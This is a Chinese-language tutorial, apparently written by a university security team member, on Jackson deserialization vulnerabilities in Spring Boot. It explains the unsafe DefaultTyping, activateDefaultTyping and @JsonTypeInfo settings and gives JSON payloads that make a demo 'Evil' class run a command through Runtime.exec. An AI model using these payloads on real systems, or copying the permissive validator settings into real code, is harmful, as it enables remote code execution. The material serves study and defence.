使用了危险的类+传入类的参数外部可控
未使用危险的类+类型和传入类型的参数外部可控
第一种情况取决于开发在类中使用了危险的方法,常见于原生反序列化漏洞;第二种情况常见于允许解析外部传入的危险类所导致的,常见于各类组件
Jackson 是一款流行的 json 解析器,Spring MVC 的默认 json 解析器便是 Jackson。
Jackson 的核心模块由三部分组成。
jackson-core,核心包,提供基于"流模式"解析的相关 API,它包括 JsonPaser 和 JsonGenerator。Jackson 内部实现正是通过高性能的流模式 API 的 JsonGenerator 和 JsonParser 来生成和解析 json。
jackson-annotations,注解包,提供标准注解功能;
jackson-databind ,数据绑定包, 提供基于"对象绑定" 解析的相关 API ( ObjectMapper ) 和"树模型" 解析的相关 API (JsonNode);基于"对象绑定" 解析的 API 和"树模型"解析的 API 依赖基于"流模式"解析的 API。
jackson反序列化漏洞是由于将恶意序列化数据反序列化为危险类型所导致的,目前有以下三种场景:
DefaultTyping
activateDefaultTyping
JsonTypeInfo
示例:
1ObjectMapper objectMapper = new ObjectMapper(); 2objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); 3//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); 4//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); 5//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
DefaultTyping可以指定以下四种类型:
这个选项会将所有的对象都视为 java.lang.Object
类型进行反序列化。这意味着Jackson会尝试调用任何可用的构造函数或setter方法,而不考虑实际的类型信息。
这个选项会处理那些不是最终(final)类的所有类,即它可以处理抽象类和接口。
这个选项结合了上面两个选项的行为,即处理 java.lang.Object
类型和非最终类。
这个选项会处理所有的非final字段,即使它们所属的类是final的。
自jackson 2.1.0后,DefaultTyping就被弃用,会推荐使用activateDefaultTyping
示例:
1ObjectMapper objectMapper = new ObjectMapper(); 2objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL, 3 JsonTypeInfo.As.WRAPPER_ARRAY);
activateDefaultTyping可以指定三个参数:
PolymorphicTypeValidator ptv
:用于处理与多态反序列化一起使用的基于类名的子类型的验证的类的接口:当使用Java类名作为类型标识符时,通过“默认类型”和显式 @JsonTypeInfo
进行验证。
ObjectMapper.DefaultTyping applicability
:即DefaultTyping处提到的四种类型
com.fasterxml.jackson.annotation.JsonTypeInfo.As includeAs
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
:不允许指定任何类型
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
:通过 @class
的方式指定任何类型
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
:通过 @c
的方式指定任何类型
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)
对象类型为Object,就是后续要进行漏洞复现的场景了,以下三种类型均可触发:
使用了enableDefaultTyping
使用了JsonTypeInfo且
spring boot 3.3 + jdk17 + jackson 2.17.1
spring boot自带jackson,无需引入依赖,想要判断Jackson版本可以在外部依赖处搜索即可。
注意,指定自带jackson的版本时需要注意一个问题,那就是jackson和spring boot存在依赖冲突,而将spring boot降级又将带来jdk版本不匹配的问题
jackson反序列化漏洞的已验证触发场景:1、@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)+对象类型为Object2、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)+对象类型为Object3、objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator()) +对象类型为Object
payload示例:{ "name": "liming", "age": 12, "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}
Person成员:
1private String name; 2private Integer age; 3public Object object;
com.example.demo.vulnerability.Deserialization.Evil
类:
1package com.example.demo.vulnerability.Deserialization;
2
3
4public class Evil {
5 public String cmd;
6
7
8 public void setCmd(String cmd) {
9 this.cmd = cmd;
10 try {
11 Runtime.getRuntime().exec(cmd);
12 }
13 catch (Exception e){
14 e.printStackTrace();
15 }
16 }
17}
(1)当设置为:
1objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); 2 3 4或 5 6 7objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); 8 9 10或: 11objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); 12 13 14或: 15objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator())
payload为:
1{ "name": "liming", "age": 12, "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}
(2)当设置为:
1objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);
payload为:
1[ "com.example.demo.entity.Person", { "name": "liming", "age": 12, "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}]
在jackson 2.17.1下,虽然被弃用,但仍然可以使用,payload同activateDefaultTyping
Person成员:
1private String name; 2private Integer age; 3@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) 4public Object object;
当JsonTypeInfo指定use为 JsonTypeInfo.Id.CLASS
或 @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS
)时,payload为:
1{ "name": "liming", "age": 12, "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}
如果还在Person上面使用注解 JsonTypeInfo.Id.CLASS
,则需要使用以下payload:
1[ "com.example.demo.entity.Person", { "name": "liming", "age": 12, "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}]
深入浅出解析Jackson反序列化 - 先知社区 (aliyun.com)
Jackson ObjectMapper activateDefaultTyping 中 JsonTypeInfo 的作用_objectmapper.activatedefaulttyping-CSDN博客
作者:船山院士网络安全团队成员:bulingbuling~